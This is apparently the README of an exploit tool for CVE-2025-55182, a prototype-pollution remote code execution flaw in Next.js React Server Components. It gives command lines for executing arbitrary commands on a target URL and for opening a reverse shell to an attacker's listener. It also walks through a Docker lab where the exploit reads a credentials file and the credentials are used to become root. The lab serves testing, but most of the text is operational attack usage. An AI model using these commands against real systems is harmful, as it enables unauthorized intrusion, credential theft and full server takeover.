Next.js React Server Components RCE Exploit

Exploits CVE-2025-55182 for remote code execution via prototype pollution.

Author: Severian N.K.

Description

This tool exploits a prototype pollution vulnerability in Next.js applications using React Server Components, leading to Remote Code Execution (RCE). It supports both direct command execution and reverse shells.

Installation

This project uses a Python virtual environment to manage dependencies. First, ensure you have Python 3 installed.

1. Set up the virtual environment:

   root@kitploit:~

   python3 -m venv venv
   

2. Activate the environment and install dependencies:

   root@kitploit:~

   source venv/bin/activate
   pip install -r requirements.txt
   

Usage

Make sure the virtual environment is activated (source venv/bin/activate) before running the exploit.

Command Execution

To execute a single command on the target:

python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"

Example:

python3 exploit.py -u http://example.com -c "id"

Reverse Shell

To get a reverse shell from the target:

python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>

Example:

python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo

Lab Environment

The lab/ directory contains two independent Docker environments:

1. Vulnerable App (lab/vulnerable): Running on port 3000.
2. Patched App (lab/patched): Running on port 3001.

1. Setup Vulnerable App

cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh

Access at: http://localhost:3000

2. Setup Patched App

cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh

Access at: http://localhost:3001

3. Test Reverse Shell

You must specify your listener IP (--lhost) and port (--lport). You can find your Docker bridge IP with ip addr show docker0 (usually 172.17.0.1).

python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo

Note: We use -P nc-mkfifo because the target is running Alpine Linux, which requires a specific payload type.

Step 2: Access Secrets

The vulnerable container exposes a secret file.

python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Output: manager:SuperSecret2025!

Step 3: Privilege Escalation

You can escalate from nextjs to root using the compromised credentials.

1. Switch User: su - manager (Password: SuperSecret2025!)
2. Become Root: sudo su (Password: SuperSecret2025!)
3. Capture Flag:
   root@kitploit:~

   cat /root/flag.txt
   # Output: Congratulations! You have gained full control over the system!
   

References

• Technical Analysis (Gist)
• Hands-on Lab (TryHackMe)

Contributing

Contributions are welcome! If you find a bug or have an idea for an improvement, please open an issue or submit a pull request.